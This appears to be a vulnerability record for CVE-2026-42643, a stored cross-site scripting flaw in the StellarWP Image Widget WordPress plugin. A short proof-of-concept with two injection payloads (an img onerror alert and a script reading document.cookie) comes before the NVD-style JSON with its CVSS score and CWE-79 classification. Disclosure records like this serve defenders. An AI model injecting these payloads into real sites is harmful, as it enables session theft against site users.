CVE-2026-42643

<!-- PoC for Stored XSS in Image Widget --> <!-- Inject payload into widget title or description field --> <img src=x onerror=alert('CVE-2026-42643')> <script>alert(document.cookie)</script>

{"cve": {"id": "CVE-2026-42643", "sourceIdentifier": "[email protected]", "published": "2026-04-29T12:16:19.523", "lastModified": "2026-04-29T21:15:41.667", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in StellarWP Image Widget image-widget allows Stored XSS.This issue affects Image Widget: from n/a through <= 4.4.11."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.7, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/image-widget/vulnerability/wordpress-image-widget-plugin-4-4-11-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}